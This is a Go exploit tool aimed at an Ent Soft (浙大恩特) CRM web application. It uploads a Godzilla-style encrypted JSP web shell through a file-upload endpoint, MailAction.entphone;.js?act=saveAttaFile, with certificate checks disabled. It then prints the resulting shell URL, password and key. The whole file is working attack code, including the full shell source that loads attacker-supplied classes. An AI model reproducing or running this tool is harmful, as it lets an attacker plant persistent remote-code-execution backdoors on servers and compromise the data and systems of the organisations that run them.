package main
import (
"bytes"
"crypto/md5"
"crypto/tls"
"encoding/json"
"fmt"
"github.com/hpifu/go-kit/hflag"
"github.com/liushuochen/gotable"
"github.com/thanhpk/randstr"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
"strings"
"time"
)
type Resutl struct {
VisitRoot string `json:"visitRoot"`
FileName string `json:"fileName"`
Path string `json:"path"`
IsImage bool `json:"isImage"`
Msg string `json:"msg"`
}
func main() {
context, password, key := initGodZillaShell()
str := gethost()
s := exploit(str, context)
shellURL := strings.Replace(str+s, "//ent", "/ent", 1)
tb, _ := gotable.Create("ShellURL", "ShellPass", "ShellKey")
_ = tb.AddRow([]string{
shellURL, password, key,
})
fmt.Println(tb)
}
func initGodZillaShell() (shellContext, shellPassword, shellKey string) {
password := randstr.Hex(12)
safeKey := randstr.Hex(6)
md5Key := fmt.Sprintf("%x", md5.Sum([]byte(safeKey)))[0:16]
shellContent := "<%! String xc=\"" + md5Key + "\"; String pass=\"" + password + "\"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}\n%>"
return shellContent, password, safeKey
}
func gethost() string {
hflag.AddFlag("target", "浙大恩特地址", hflag.Required(), hflag.Shorthand("t"))
if err := hflag.Parse(); err != nil {
fmt.Println(hflag.Usage())
os.Exit(0)
}
return hflag.GetString("target")
}
func cli() *http.Client {
c := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
c.Timeout = time.Second * 15
return c
}
func exploit(t, s string) string {
client := cli()
buffer := &bytes.Buffer{}
writer := multipart.NewWriter(buffer)
filename := randstr.Hex(8) + ".jsp"
_, _ = writer.CreateFormFile("file", filename)
_, _ = buffer.WriteString(s)
_ = writer.Close()
target := strings.Replace(t+"/entsoft/MailAction.entphone;.js?act=saveAttaFile", "//en", "/en", 1)
request, _ := http.NewRequest(http.MethodPost, target, strings.NewReader(buffer.String()))
request.Header.Set("Content-Type", writer.FormDataContentType())
request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36")
do, _ := client.Do(request)
defer func() {
_ = do.Body.Close()
}()
all, _ := ioutil.ReadAll(do.Body)
var result Resutl
_ = json.Unmarshal(all, &result)
if result.Msg != "上传成功" {
fmt.Println("上传失败了")
os.Exit(0)
}
split := strings.Split(result.VisitRoot, "null")
return split[1]
}